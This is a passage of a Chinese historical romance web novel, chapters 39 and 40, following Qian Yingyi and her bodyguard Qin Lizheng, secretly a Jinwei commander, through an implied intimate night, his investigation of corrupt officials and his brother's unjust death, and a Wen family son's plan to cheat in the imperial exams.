饱胀的情绪已然得到宣泄,更要紧的是她。 其实今夜在淮岸,那红莺说的话,他没仔细听全,但有一句话他十分赞同。 秦离铮舔一舔泛着淋淋水色的下唇,动作没停。 她的确值得庄重虔诚的爱,而他,也甘愿做一个不知疲乏贡献自己的追逐者。是他之幸—— 作者有话说:[求求你了] 映仪终于表明心意啦 第39章 被衾揉皱得不成模样,钱映仪眼梢闪烁着晶莹的泪花,巨大的冲击接连又两回,她已失神到话都讲不出来。 秦离铮起身轻掣她的双臂,稍一使力就带进了怀里。歪脸亲一亲她的腮畔,静等她平息。 “你怎么怎么可以亲那里,”俄延半晌,钱映仪方掀一掀眼帘,轻颤的羽睫洇润不已,“我都说不要了,你还” 秦离铮伸出舌尖舔一舔下唇,先说了句“抱歉”,复又道:“可是你喜欢,是不是?” 钱映仪的手脚这时找回力气,挣着要下榻,“我得洗一洗” 方站稳,腰被一把兜揽住,“等等。” 秦离铮越收越紧,脸贴着她柔软的小腹来回蹭。他生得高大,松散的衣襟下能见硬实的肌肉,这一抱,胸膛也跟着起伏。 如同坚硬不可催的树干罩住她,困住她,半刻也不想分开,“好喜欢你,映仪,我好爱你” 月洒清辉,映出地面一双狭长的影。 钱映仪被他拥得发软,又半跌回去,拨开他错位落在自己颈间的脸,拂去那一丝痒,倏来兴致,“你说,倘或夏菱方才放心不下我,冲了进来,该怎么办?” 他提一提她的腰,眼眉间的淡然又浮现出来,好似方才那个抱着不肯撒手的人不是他。 其实他想与她说——他耳听八方,即便在情难自抑时,也分了一缕心神去留意外头的动静。 大约了解她总爱追求那股禁忌的刺激感,便故意道:“那就藏在你的榻上,胆战心惊应付一番好了。” 钱映仪抖着肩笑,笑过又晓得羞了,一抓被衾盖在他的脸上,“你在这等着,我转去那架屏风后头洗一洗,你不许过来也不许看。” 秦离铮两条胳膊反撑在身后,由被衾蒙着脸,笑音益发低闷,连声应下。 待钱映仪收拾好自己,他又转变为那个未沾过靡靡之气的侍卫,寝衣系得工整,端坐起来,倚在榻边闭目养神。 钱映仪目光轻垂,往他的腰身下瞧,想到方才那滚烫得要把她掌心灼穿的手感,脸没来由地烧涨起来。 两瓣细嫩的唇肉细细一磨,踟蹰片刻,倒了盏茶握在手里,走近了递与他,问,“你要回去吗?” 赶巧秦离铮这时候掀眼盯着她瞧,那张才亲过她的嘴衔住盏缘,他轻饮两口,把杯盏搁回床沿外的矮几上,静静含着笑凝视她。 像被蒙了层纱的嗓音复又清亮,好似要蛊惑她继续沉沦,“这话问得不对,你该问你自己,想让我留下吗?” 两人隔得不远,四目相对,钱映仪蓦然“噗嗤”笑出声,一把扑向他,“你守着我都守到榻上了,想走也晚了。” 月映窗柩,两颗心在刹那贴近,即使在夏日潮热的夜里,也要依偎着彼此,做一个永远不会醒的美梦。 荷香犹存,荷姿正盛。 大约连着闷了多日,老天爷降下一场雨,金陵这片偌大的土地飘洒起稀稀疏疏的雨滴,一阵凉风吹来,连淮河面上的都浮起淡淡轻烟。 七月半将至,钱玉幸往镖局取回信,与钱映仪、任郁青两个坐在凉亭琢磨内容,亭外雨声滴答,亭内嗓音清脆如铃。 钱映仪笑吟吟往圆杌上坐,“照哥哥信中所言,约莫中秋时,他便能了结扬州的差事,往家里来囖?” “是这意思,”钱玉幸跟着笑,挪眼往任郁青的肚皮上瞧,没忍住指尖轻戳,问,“团姐儿,爹爹要回来了,你高不高兴呀?” 实际任郁青腹中孩儿根本不知是男是女,抵不过全家都盼着是个女娃娃,早早便定下了乳名,一口一个团姐儿唤着。 任郁青笑意如春风轻柔,也十分高兴,“总算是能回来了,就怕他迟迟不回,届时团姐儿生出来不认得他。” 钱映仪笑出声来,不当回事,“小猫似的奶娃娃,能认得谁?” “你不要小瞧这样的奶娃娃,”钱玉幸乜她一眼,“你小时候从娘肚子里出来,眼都没睁呢,哥哥抱你就哭,我抱你就没事,你敢说不是认人?” 钱映仪听着稀奇,正要问上几句,不防钱玉幸一句话如鼓槌敲在心头,“正好,今日就咱们仨,你与姐姐、嫂嫂说一说,你同那个侍卫是怎么回事?” 她心头咯噔两声,讪讪吃茶,眼风飞去了凉亭之外的墙头,“什么、什么怎么回事?” 任郁青抿一抿唇,最终没忍住道:“映仪,你喜欢他,是不是?大家都在一个屋檐下张嘴吃饭、洗漱睡觉,你讨厌谁,喜欢谁,我们难道瞧不出来么?” 前头三年未能回金陵陪一陪妹妹,钱玉幸与任郁青两个虽在情爱上比妹妹通透,有心要劝一劝,但到底也没要棒打鸳鸯的意思。 但听钱玉幸叹一声,道:“听说他也是京师人,他这人如何,我也长了眼睛,会瞧会辩,只是你想没想过,爹一惯古板,他可会认下此事?” “莫说是爹,便就说爷爷,自你生出来开始,爷爷就把你捧在掌心里疼爱,爷爷怎会舍得你嫁给一个什么都没有的男人?” 大约是“爹”“爷爷”这两个长辈扎了钱映仪一下,深知这关难过,钱映仪垂了下颌,也没否认自己喜欢秦离铮,只道:“其实我想着赘婿也可。” 钱玉幸倒吸一口气,大惊,“你就已想到谈婚论嫁之事上去了?” 钱映仪飞快瞟她一眼,微嘟的两瓣唇嘀咕道:“打从我满十七岁起,“嫁”这个字不就始终绕着我打转?爹爹不是希望我早点嫁人嘛,那挑来挑去,我自然要选一个自己喜欢的,想到这上面去,也没错嘛。” 这话把钱玉幸扎了一下,一时哑口无言,半晌才道:“好好好,先不说爷爷与爹,哥哥若晓得你被家里的侍卫拐跑,非得追着人打不可!” 钱映仪闻听,搁在桌上的手忙握拳,“他敢!” 任郁青轻飘飘搭腔,“你哥哥是何等上天入地的性子?几年前只因在翰林院门前与那新上任的锦衣卫指挥使撞在一起,你哥哥又嘴上不饶人,听那指挥使说了句人模狗样,便记恨上他,自那以后见了他就要言语讥讽。” “如此小的一件事他尚且记在心里,你是他最小的妹妹,他若知晓,谈何敢不敢?不提剑杀了你那个侍卫就不错了。” 钱映仪瘪一瘪唇,暗暗往上翻着眼皮子,“哥哥嘴是毒了些,性子也急躁了些,穿上补服多俊的一个人?锦衣卫一个个都凶神恶煞的,能随随便便说哥哥人模狗样,那指挥使定也是个烂人!阿铮处处依着我,二者哪有可比性?” 她顺口唤着阿铮,言语间对他百般维护,钱玉幸与任郁青两个互相睇眼,半晌没吭声,眼底蕴着一抹无力。 只暗道妹妹性子也犟,认定了要做什么事,便是几头牛也拉不回来。 两人哀叹一声,听着亭外淅淅沥沥的雨声,想着——倘或钱林野归家知晓此事,届时家中必然要翻天,他当真要上天入地捅破个大窟窿才算完! 而钱映仪口中那“烂人”,此刻正坐在乐馆暗室里,把一盏茶轻呷。 身前是局 棋盘,他已尽数拂开眼眉间的阴戾,笑起来时,整个人都柔和下来。 缕缕清风钻进窗内,褚之言与他对坐,指尖捻着颗白子迟迟未落,倒先把他笑话一番,“哎呀,有人当日说过什么话来着?这钱映仪当真娇气,当真烦,哪有女人像她这样难伺候?” 褚之言兴兴笑着,“恭喜你啊,指挥,日后少不了天天都要纵容她了,心上人也喜欢自己的滋味,是不是比你坐上指挥使位置时还要爽?” 秦离铮掀眼瞟他,催促他落子,“说正事,常容已被下狱待查,皇上不大高兴,看了咱们送去的信,意思是把都察院的魏大人调任来应天府做府尹,撤了燕榆的银印,暂且罢职,待燕文瑛的案子彻底了结,过后再议燕榆的去向。” “皇上这招岂非是把刀悬在燕榆脑袋上,又迟迟不落,光吊着他?”褚之言笑出声,“姜还是老的辣,皇上想让他们越斗越狠,我估摸着,皇上也没什么耐心了,想尽快一网打尽,这才把魏大人调任来,激一激他们。” “应天府的一把手换了人,可不得是树倒猢狲散?” 说到此节,褚之言歪歪扭扭的身子稍稍坐端正了些,道:“对了指挥,燕家已经把吏部那位温涧舟拉拢了,许了一成的利。” “蔺边鸿这段时日忙得两头大,一要应付荀芸催他暗中搜寻燕文瑛的下落,二要与燕榆斗狠,暗暗拉帮结派,大约是仗着常容的缘故,拉拢的官员倒比燕榆少。” 秦离铮落下一子,眼底蕴着凉意,“所以,常容下狱的消息若传到金陵,蔺边鸿拉拢的那些官员指不定又会忙着与他撇清干系,燕榆暂且胜他一筹。” “可等魏大人调任的扎付下来,燕榆这官还能不能做都难说,蔺边鸿又反过来压他一头。” “二人打着头阵,已被金银财宝熏昏了头,就看这两只热锅上的蚂蚁急起来,要如何斗得头破血流。” 他轻抬眼皮,望向褚之言,“他们手脚做得干净,户部那个替他们遮掩的内鬼可揪出来了?” 褚之言点点下颌,“抓着是谁了,届时一并严办就是,先不说这人,我倒有一事奇怪。” “指挥,你说那裴骥究竟把账本藏在何处?” “真是奇了怪,人死了化成灰,锦衣卫都能搜捡出蛛丝马迹,四四方方的一个账本,竟迟迟搜不到下落。” 秦离铮漫不经心答话,“无妨,他只要一日是商户,一日是王弋的远亲,就不会把账本销毁,这可是他自持用来讨好上级官员的底牌,他兜来兜去,无非就是想替自己寻个最大的庇护,不必管他,守着便是。” 忖度片刻,他又道:“五月半时,夏税便已起征,八月初正好纳毕,京师吏部起草扎付的速度很快,有魏大人这座山压着,这几只贪得无厌的臭虫不会再在夏税上动手,至少年关前不会再有动作。” “皇上那头急归急,要想一网打尽,咱们还有的是时间慢慢与他们耗。” 褚之言料着还要在金陵待到年关,点点头没讲话。 看秦离铮多了点人情味,想到一事,便道:“方才我与你说温涧舟被燕家拉拢,早前因要替燕如衡调任一事,温涧舟私下便收了燕家十几万两白银,这可是比大数目,可见这么些年他们贪了多少。” “燕家占据大头,这回拉拢温涧舟,许诺分他的一成利也不算少,钱小姐不是与温家那位小姐是闺中好友?” “指挥,你有没有想过,倘或温家被牵连下狱查办,温小姐也脱不开干系,钱小姐若知晓真相,该当如何?” 他道:“她会眼睁睁看着温小姐送死吗?咱们替皇上办事,宁可错杀也绝不会放过一个,没有皇上的命令,又岂能放过温小姐?” “届时钱小姐岂非与你对立?” 话都已说到这份上,褚之言低眉窥着棋子,稍稍琢磨,干脆又抛出个问题,“你既已与钱小姐心意想通,打算几时坦明身份呢?” 正值下晌,檐下雨声坠在人心头,不轻不重敲了敲,半沉半明的天把秦离铮的脸映出一丝怅惘。 是的,怅惘。 他难能露出此等神情,抿一抿唇,道:“钱家上下秉承独善其身的观念,尤其钱老,当年在京师为官时,便不参与任何朝堂纷争。” “钱林野与余骋皆知我身份,我借任务之事警告他们没往外说,我也想坦明,可是一来钱家上下若知晓,必将避我如蛇蝎,还谈何让我留在她身边?” “二来,她讨厌锦衣卫,我多少有点忐忑。” 褚之言孤家寡人一个,体会不来他的担忧浓愁,瘪一瘪唇,最终只嗟叹一声,“那细细检算下来,你也只能找个十分合适的时机说了。” 秦离铮拔座起身,没再维持这稍显沉闷的话题,想及前头说过的温家一事,便道:“你说她或许会与我对立,我想,我不会让那一天出现。” 像是什么都没说,又像什么都说了。 褚之言懒得琢磨,起身送他,“外头下雨,记得顺伞走。” 细雨蒙蒙,夏日闷热尽褪。 秦离铮撑着伞行在雨中,身形修长,眼眉被潮湿雨气勾勒出冷冽,把他勾到四福巷的糖水铺,买上一份钱映仪想吃的荔枝冰酪。 他在铺子前停步,雨声里杂糅着他清凉的声音,“梁老板,今日落雨,瞧着是生意不大好?” 梁途匍匐在角落一张四方桌上,闻言抬起头,忙起身笑,“哟,外头湿着哩,不进来坐?” 秦离铮方收伞踏进铺子里,伏腰坐在长条凳上,报上荔枝冰酪,便盯着梁途转瞬忙碌的侧影,道:“溪溪呢?” 梁途笑,“午晌时把肚皮吃得溜圆,正歪在隔壁童衣铺里睡午觉呢,算算时辰,这时候是该醒了,提起她呀,我也直犯愁。” “这几日落雨,她图凉快,一眨眼的功夫就受了寒气,”梁途正拿剪子剪着荔枝,好似也剪出了他为人父的担忧与无奈,“正与我犟着呢。” 秦离铮轻垂着眼,微卷的睫毛遮蔽眼中情绪。 沉默片刻,倏问,“方才我一路走来,听闻近来瑞王府在夫子庙四周做善事,请了些女医,替百姓把把脉诊诊病痛,溪溪犟着不肯瞧病,约莫是不喜那等粗鲁敷衍的男医,梁老板没带她去夫子庙转转?” 梁途猛然抬头,握紧剪子的指骨泛白,眼神顷刻蕴出冷,连带着那张布满疤痕的面容都变得可怖。 他静静看着秦离铮没讲话,片刻,一拉铺面的门闩,从里头栓死,反手去抽案上的刀,“你是谁?” 秦离铮目光轻扫,两瓣稍薄的唇轻翕,带出沉重的声音,“我姓秦,当年涉身进逆王案的翰林院编修秦离然,是我死去的兄长。” “梁老板不必如此大的反应,我没什么恶意。” 陡地听到秦离然这个名字,梁途眸色微闪,显然忆起这桩往事,嘴抿成一条直线,反握刀柄的手没松,一语道破,“你处心积虑接近我,是想让我替你兄长翻案?” 秦离然当年究竟有没有做出谋逆之事,有没有暗自与瑞王手下的谋士通信,旁人提起来时或许也要斟酌半晌真假。 唯独梁途深知,这分明就是一桩冤案。 彼时,秦离然与瑞王通书信大肆畅谈,他与一众谋士都觉得此子天资聪慧,倘或能为瑞王所用,一人便可代替他们所有人。 那时他们心生妒忌,恐秦离然真生了此等心思,令瑞王罢了他们一干人等。 可秦离然始终只是纯粹地把瑞王当作好友,信上内容也大多只是畅谈哲理。 直至秦离然身死的消息传回金陵,他们这群谋士方醒过神,惊于瑞王的手段残忍,唇亡齿寒的恐惧刹那就席卷到他们心头。 瑞王动作太快,于瑞王而言,他们都是不该存在于世的“证据”,能证明瑞王的确参与谋逆、的确有不臣之心的“证据”。 若非他兵行险着,如今他也只是泥地里的一具枯骨。 今番提起旧事,看着秦离然的胞弟近在眼前,梁途心中的滋味芜杂得难以言喻。 大约是这个原因,他渐渐松开了刀柄,嘴唇翕动,牵动出叹息。 同时遏制自己的嗓音冷淡如冰,“你兄长之死,我很惋惜,可你看看我,为了活下去,我亲自动手切割了近乎整张脸皮,又铤而走险躲在金陵,这才称得上是顺利地活了下来。” 他摊开手,“对外我只自称梁三,那日溪溪说漏嘴,把我的名讳说与你们听,我尚且担惊受怕了好一阵。” “我既已销声匿迹,便绝无再掺和进去 的可能,今日我就当你没来过,我也不晓得你姓秦,请回吧。” 秦离铮收回目光,仍不放弃,“你躲得了一时,难道也躲得了一辈子吗?你既靠假死脱身,我猜,自你从瑞王府逃出来那一刻开始,便再没去过衙门。” 他越往后说,声音越发笃定,“瑞王既暗自解决你们,自然也不会命人去衙门报你们身死的消息,在衙门的户籍里,你仍活着。” “你迟迟不敢送溪溪去私塾念书,便是担忧这一点,”秦离铮起身,蓦然抬眼用目光逼视他,“梁途,你怕私塾找你要溪溪的户籍,我猜,溪溪到现在为止,也没记在你名下吧?” “你现下尚且还能躲,日后呢?” “我知道,你打着带溪溪离开金陵的主意,溪溪会同意吗?倘或留在金陵,溪溪年岁渐长,你聪明一世,难道要叫你的女儿一辈子不进学堂与人打交道?” 梁途被逼问得有瞬间的哑然。 秦离铮紧盯着他,掏出锦衣卫指挥使的腰牌,又劝说道:“若能助我为兄长平反,届时瑞王自会落个惨绝人寰的下场,你也不必再带着溪溪躲藏,能正大光明行走在天光下。” 梁途眼眸微闪,一颗心好似跳动起来。他承认,这对他而言是个极具诱惑的条件。 “咦?这糖水铺子今日怎的把门关上了?”不防这时铺外有两位客人经过,碎碎叨叨了两句。 梁途猛然醒神,到底是不敢赌,登时转过身,语气冷硬了几分,“看来你没听明白我的话,我说,请回。” 一切仿佛又回到原点,秦离铮静等片刻,牵出一抹叹息,收回腰牌,自顾回长条凳上坐,“荔枝冰酪,还请梁老板手脚快一点。” 便是揭过此事不提了。 没几时,荔枝冰酪制好。秦离铮沉默取过食盒,那扇被拴死的门复又打开。 他不紧不慢走出去,一路行过童衣铺前,正预备加快脚步,身后蓦然出现一阵杂乱轻快的脚步声。 四条腿踩着水洼,溅起稀稀散散的水声。 两个小童穿着蓑衣从他伞下穿过,其中一个笑嘻嘻喊,“溪溪等等我!我鞋还没穿好呢!” 梁溪照在前头倒转回来,冲童衣铺的玩伴陈圆生做做鬼脸,“嘁,就等你一小会儿,快些把鞋穿好,再慢吞吞的,我便自己去庙里耍了!” 话音落,梁溪照掀眼往上看,好似才发觉是秦离铮,沾了点脏污的鼻尖轻轻翕动,朝他堆出个笑,“阿铮哥哥!” 她左右够眼往他身后瞧,“映仪姐姐哩?” 秦离铮垂眼盯着她,心中蓦然有个念头促使他挟制住她,好用来逼迫梁途。 顿了顿,他道:“映仪姐姐在家中午睡,溪溪刚午睡起来,是吗?” 梁溪照笑嘻嘻点头,见那陈圆生穿好了鞋,便忙一拽他的蓑衣下摆,一股脑就跑进了濛濛细雨里,只留声音在原地,“我先走啦!陈圆生!快跟上,一起去耍呀!” 秦离铮静静盯着两个小童渐渐消失在雨雾里的背影,尘封在心底的记忆蓦然将他拉回到过去。 那时他约莫也只有他们这般大的年纪,也挂着满脸的笑跟在兄长身后跑。 跑着跑着,玩累了,兄长便抱他在膝头暂作休息。 那时兄长在京师念书,他却还没到抱着书籍不放的年纪,听兄长提起要好好用功时,便毫不在意道:“嘁,满脑子都是文绉绉的东西,有什么好的?我不念。” 兄长道:“不念书,你怎么学会做人的道理呢?阿铮,君子藏器于身,待时而动,你可以将这些文绉绉的东西学进肚子里,既不喜欢,让它们在你肚子里待着就好了,迟早有一天,你会用得上。” “你不是最爱与人比?松松也跟着你学坏了,时常与别的狗斗凶比狠,你又怎知与你比的那些小朋友肚子里没墨水呢?说不定人家回家也是勤学苦读,只是没叫你瞧见罢了。” 那是个傍晚,连身后的墙都被晚霞烧得泛红。 兄长的声音仿佛飘渺起来,“阿铮,说到这里,哥哥也要说你两句,君子慎独,不欺暗室,你顽劣些也无妨,但日后万不能做有负良知之事。” 回忆沉重,猛然敲击在秦离铮心头。他掀眼盯着早已消失不见的那两道身影,恍然惊觉自己方才因报仇的执念而心生恶意。 历经漫长岁月,兄长之言却在此刻响彻耳畔。 是啊,他不该如方才那般充满罪恶地谋划。 可他恨兄长惨死,他的兄长那么好,那么光明磊落的一个人,凭什么连死了都仍要背负污名? 秦离铮独站雨中,猛地闭了闭眼。 良久,一转脚步踅回糖水铺,行至神情稍有惊愕的梁途身前,一寸一寸把腰身弯到最低,语气万分诚恳,“还请先生助我。” 梁途惊讶他折返回来这一趟与先前逼人的态度截然不同,张了张嘴正要说话,又听他道:“先生若不肯,我便等,告辞。” 剩梁途在原地稍有怔愣,一时也不是滋味。 晚来风急,秦离铮回钱宅时,风声把树叶吹得簌簌不停,他心中尚存悲戚,听起来便觉得好似每一片叶子都在替兄长鸣冤。 深深吐息抛开这些压抑在心底的情绪,秦离铮兜着食盒去寻钱映仪的踪迹,怎知她却不在云滕阁。 秦离铮立在原地想了想,立时转背往宅子里那处十分偏僻的凉亭行去。 不一时,果真又寻到了她。 他目色倏软,勾起柔和的笑,轻步靠近她。旋即轻轻坐在她面前,看着她陷入酣眠的睡颜,伸出指尖勾了勾她发软的腮。 钱映仪正睡得香,肩上披着披风,不耐烦起来一把打开了他的手,“不要闹我!” 秦离铮观她可爱之态,无声笑了笑,把那荔枝冰酪取出来,端在她面前悬了片刻。 钱映仪鼻翼轻翕,神情像只见着鱼的猫,登时就掀开了眼,一个猛子就坐直了! 不防起得太急,脑袋泛晕,她闭了闭眼,半晌回过神来,见是他,便大大方方朝他摊手,“抱。” 秦离铮心头软陷下去,裹着披风把她揽入怀中,“怎地又一个人往这里来了?” 话语稍稍一停,揽着她的胳膊紧了紧,低眉窥她神情,在她脸上寻找蛛丝马迹,忖度片刻,问,“有烦心事?” “哪有!”钱映仪瘪一瘪唇,摸了盏茶润喉,在他面前理直气壮端起腰,盯着他的目光,片刻又塌下去,两个圆润的肩头往下垂着,“是有些烦。” 她径自舀了勺荔枝冰酪往嘴里送,又问他吃不吃,见他摇头,便又送了两勺入口,方道:“哥哥送信回来,说是能赶在中秋前归家,我在烦倘或他要打你怎么办?” 她眨眨眼,从他腿上退离,问,“你身手那么好,你会由他打吗?” 亭外细雨绵绵,风吹得她的裙摆轻轻飘荡,吹得她像只躁动不安的莺雀。 秦离铮盯着她看,倏然笑出声。 他重新把她拉回来,便握着她几个指头揉捏,“你在担心我,还是担心你哥哥?是担心我不还手,你哥哥把我打得半死不活,还是担心我还手,你哥哥打不过我?” 钱映仪才刚睡醒,还有些蒙,看他嬉皮笑脸有些来气,恶狠狠攫着他的手在口中咬一下,“你还笑!人家正烦着呢!” 秦离铮闷头低笑,连胸膛都在振。 笑够了,他便对上她那双铮亮的眼,“这些事不该你想,真要与我算账,那也是我拐走了你,哪怕把我打得只剩一口气,也是该的。” 听及如 此严重,钱映仪倏又舍不得,摸一摸他虎口那记被她咬得深陷的牙印,自鼻腔里哼出一声,“晓得了,真到那时候,我会站出来护着你的。” 一阵风过,彻底吹散秦离铮心头阴霾。他把她拉近,温热的手掌掬着她的脸,神情虔诚地往她额心印下一吻。 旋即道:“快吃,不要想这些尚且未发生的事,你只需日日高兴就行。” 离钱林野归家还有些时日,钱映仪稍作思忖,顿觉是这个理,便把烦恼一抛脑后,笑嘻嘻伏腰坐回圆杌,一勺勺舀着荔枝酪往口里送。 秦离铮静静看着她,脑中忽地浮现褚之言提及的温宁岚一事,心念一转,便趁她高兴时问,“映仪,你是怎么看贪官的?” “贪官?”钱映仪头也没抬,自顾挑拣荔枝肉,舔一舔红润的唇,道:“看怎么个贪法吧。” “你爷爷教过你这些?” 钱映仪挑出一块硕大的果肉往嘴里送,细嚼慢咽吞下去,才把白皙小巧的下颌轻点,“是哩,爷爷说过一些,我自己先前在外头听戏,那戏文里不也有罪大恶极的贪官嘛?我便也有一番见解。” 秦离铮把眉轻挑,支着条手臂撑着脑袋,盯着她不放,“那你说来我听。” 钱映仪这时候仰起粉面,狐疑瞧他,“你怎地突然问起这个?” 好在她没把这突如其来的怪异感放在心头,半碗荔枝冰酪下肚便止住,摸了条帕子揩拭唇畔的荔枝汁水,就侃侃而谈起来。 她道:“在我看来,这世道也不是所有的贪官都罪不可赦,若为利己而贪,站在老百姓头上喝血,这样的人就该死,若不得已而为之,为利于民生而贪,这样的人或许能酌情,不至于死。” 见秦离铮丝毫不错眼地盯着自己,她脸上渐染红晕,又道:“你别瞧我家有钱,其实都是祖上家底厚,光靠我爷爷与我爹、我二叔那些俸禄,我可过不上这样矜贵的日子,不过因为家里老祖宗是走商路起的家罢了。” “你突然问起这个,莫不是在外头听了什么对我家不利的风声?”渐渐地,她神情稍显怀疑。 秦离铮暗叹她有一颗十分敞亮的心,摆一摆头,道:“就是突然想问。” 他编撰了个与温家情形相差无几的故事,复又试探着问,“倘或是你的好友被家里牵连,且无法挽救,你待如何?” 钱映仪也只当个故事听了,稍作思忖,半晌才道:“那也要分是什么情形了。” 风声响彻,她理智又冷静的声音杂糅在其中,一并送进秦离铮的耳朵里,“若这个朋友同家中一并享受了贪来的利益,即便是好友,我也无法认同她,或许我会替她难受,可要我去救她,那那些被吸血的百姓呢?他们该谁来救?” 她眨眨眼,神情犹显认真,月眉轻攒,“反之,若她没跟着享受,罪责或许不至死,明知不可为而为之,我亦无法做到看她去送命。” 秦离铮把她的神情收纳眼底,目光浮游在她脸上始终未曾挪开。 她有一颗足够赤忱、坚韧、理智的心。她这张嘴虽时常迸出些小小的傲慢,可真检算起来,在这难能可贵的明朗心境下,她哪怕是个泼口就骂人的悍妇,他也无法拒绝向这样赤忱的她靠近。 在她面前,连他方才的试探都显得十分可笑。 秦离铮心头生出一股冲动,紧紧牵动着他。 于是,他轻轻掰正她的脸,盯着她的眼睛,深深吸气,道:“映仪,其实我是锦衣” “啊!来人!快将它赶走,快赶走啊!” 不防西南角蓦然响彻一声尖叫,钱映仪猛然一个哆嗦,挣开他的手,起身就往那头奔去,“阿铮!是嫂嫂的院子出事了!” 俩人一径火急火燎赶至任郁青的院落,钱映仪人尚且还在院外,声音就已传进去,“怎的了怎的了!嫂嫂!出了何事?” 半晌,正屋转出任郁青的身影,她吓得花容失色,一只手抚着胸口,颤声道:“现下没事了,院子里有蛇,我只瞧见半截尾巴,一溜烟就缩着墙根游走了,小厮们正在四处寻呢,你姐姐也怕这个,吓得忙跑出去买雄黄了!” 钱映仪大惊,头皮发麻,“蛇?天老爷,我最怕这样的东西,说起来今年是忘了驱蛇虫,嫂嫂别怕,我在此处陪着你。” 一并等了半日,总算等到钱玉幸擎着两包裹得紧实的雄黄粉回来。 思及任郁青方才被吓着,又是好一顿安抚,直至天黑时,钱映仪方轻喘一口气,垂着下颌从任郁青的院子里出来。 秦离铮明面上只是她的侍卫,不好进其他女眷的院落,因而在廊角等她。 钱映仪到底没见着那蛇,起先害怕过一阵就没事了,一见他,窥着四下没人,便勾着他的腰抱了一下,“嫂嫂吓得脸都白了,你说,我的院子里会不会有蛇?” 秦离铮轻戳她的额心,“有我在,别说是蛇,便是你怕的虫子也不会有一条。” 钱映仪复又喜滋滋绽开个笑脸,飞快踮脚往他下颌亲了下,“这话甚合我意,赏你晚上来寻我。” 言罢,她拍一拍手,旋裙往小花厅去。走过半截路,倏地又倒退回他身旁,歪着脑袋问,“你先前与我说什么?锦衣卫?” “你想当锦衣卫?” 秦离铮稍显错愕,未想她听岔了,张了张嘴,正要再说,便见她笑吟吟抱臂后退两步,眼神上下把他睃了一圈,先满意点了点下颌,又送上点评。 “我听说锦衣卫选拔都是什么虎背蜂腰螳螂腿,你瞧着是符合,可你晓不晓得,锦衣卫选的都是官家子弟。” 她笑嘻嘻耸肩,掐着小半截指头一比,“虽然你在我心里已经很不错了,但想当锦衣卫还差得远呢!” 继而拍一拍他的臂膀,道:“走了,别待在这儿傻站着。” 一片裙摆似蝶翼轻振,没几时就跑远了。 秦离铮发怔站在原地,半晌没说话,最终只从喉间泄出一声叹息,抬手往眉心拧了拧—— 作者有话说:秦离铮:提心吊胆自曝,结果她没当回事[害怕] 钱映仪:[愤怒]什么狗屁指挥使,敢说哥哥人模狗样,烂人!烂人! 秦离铮:谁在背后骂我? 就这么一点点向掉马甲前进! 第40章 夏日依旧,才刚过了乞巧不到半月,仍然多的是年轻官人相公与心上人走街串巷,姑娘们穿着轻盈纤柔的衣裙,裙摆如蝶,走一走,便牵出那些跳跃不停的心。 在这样的绚丽世界里,唯一不变的是淮河两岸那些绽开时火红至极的石榴花,以及数艘画舫里那些从不觉得饮酒消闲是虚度光阴的客人。 且说这日七月十八,日色金黄,透过富丽堂皇的门庭照进宅子里,照到温宁岚身上。 她正与奶妈妈挽臂行走廊下,有一茬没一茬闲聊着。 奶妈妈正不满低语着,“您瞧瞧,这个家现在像个什么?您分明是家里的主子,人家一家四口倒成日不搭理您,衬得您像个外人似的,倘或太太还在,依她不饶人的性子,哪能由得这班子烂人欺负到您头上去?” 说的正是前几日的一桩事。 那温卓南与温辛妍两个欺负温宁岚成了习惯,时常是拿些低劣的手段戏弄温宁岚。 这样的“小打小闹”传去温涧舟跟前时,他正与温太太在榻上对饮,闻言只摆一摆手,“姊妹之间打打闹闹不是常有的事?怎地,在别人家是和气一团,到咱们家就非得架个公堂,逼认出个对错来?” 奶妈妈听了这话气得不轻,一扭头便要去质问温涧舟究竟还管不管温宁岚这个亲生女儿!最终是被温宁岚给拦住了。 说到此节,温宁岚沉默摇着扇,不发一言。 待奶妈妈还要说时,赶巧那温卓南打另一头往书房去,温宁岚眼尖给瞧见,便竖起一个指头示意奶妈妈先别吭声,旋即预备跟过去瞧瞧。 这对龙 凤胎当年是跟着温太太一道进门的,温卓南仗着自己是家里唯一的男丁,时常哄得温涧舟心花怒放。 一时讲日后要往京师去做大官,届时把温涧舟接去颐养天年,一时又反过来顺手管温涧舟要银子,动辄百两。 温卓南在外如何,温宁岚从来不问,亦觉得与她无甚干系,只这一点在意。温家能有今日,少不了她娘当年陪嫁来的丰厚嫁妆。 温涧舟当年也不过穷秀才一个,温宁岚外祖一家却是扬州赫赫有名的商户。 商贾之女嫁与秀才,说不上门不当户不对,毕竟温涧舟空有一肚子墨水,家里穷得连锅都揭不开,而外祖家最不缺的便是金银。 媒人往两头说了两回,这门亲事便也就这么结成了。 当年温涧舟上京赶考,温宁岚的娘——宁央便在背后使银子。 温涧舟考中进士,被调回扬州从个小小的主簿做起,若非没有宁央在背后靠白花花的银子逢迎,替他铺路,温涧舟又岂能在短短八九年里一路高升,先爬至应天府,再到如今的南直隶吏部侍郎? 思及此处,温宁岚脚下生风,没几时便跟了过去,倘或温卓南又是管温涧舟要银子花,她虽性子稍显怯弱,也依旧会如从前那般闹一闹。 这时候正值下晌,园子里只有鸟雀啁啾,两人一路绕去书房,奶妈妈便笑着拉几个小厮去一旁吃酒,温宁岚轻步靠近,稍刻,静静站在书房外头听着。 “爹,您觉得孩儿这法子如何?” 门窗紧闭,温卓南说过话后,屋子里便半晌都没有声音。 温宁岚攒眉等了许久,才听温涧舟说话,语气稍显为难,“卓南啊,不是爹要拒了你,只是这作弊实在是太危险,你想过没有,若一个不慎被揪出来,爹这吏部侍郎也做到头了,咱们家可就没有好日子过了。” 作弊?温宁岚额心越拧越紧,醒神后想起温卓南等开春后预备着参加科举,登时心神俱骇,暗骂他竟胆大至此! 屋子里的声音仍在继续,温卓南哼了一声,有些不大高兴,“爹,您难不成不想叫我做官了?” 温涧舟道:“那倒也并非是这么个意思,科举一事本就讲究天时地利人和,爹盼你光耀门楣,却也希望你好好的,官场险恶,爹在里头待了这么多年,不比你清楚里头的门道?” 他叹了一声,“你若实在与做官无缘,爹也可以养你一辈子啊。” 这话说得已不算委婉,拒绝之意已然十分明显。 温宁岚唇畔噙了抹冷笑,暗道她爹在涉及自身利益上,还稍微有那么点脑子,没被温卓南牵着鼻子走。 “爹!”里头动静大了点,听着像是温卓南拂了什么在地,“此事连娘都同意了!孩儿已暗中去寻那等穷苦秀才,只消出些银钱,他必然死守秘密,届时待考中,咱们便把银钱许给他,也” “不成!”温涧舟蓦然厉声打断。 这一回,是明晃晃的拒绝。 温卓南惊诧,“爹?” 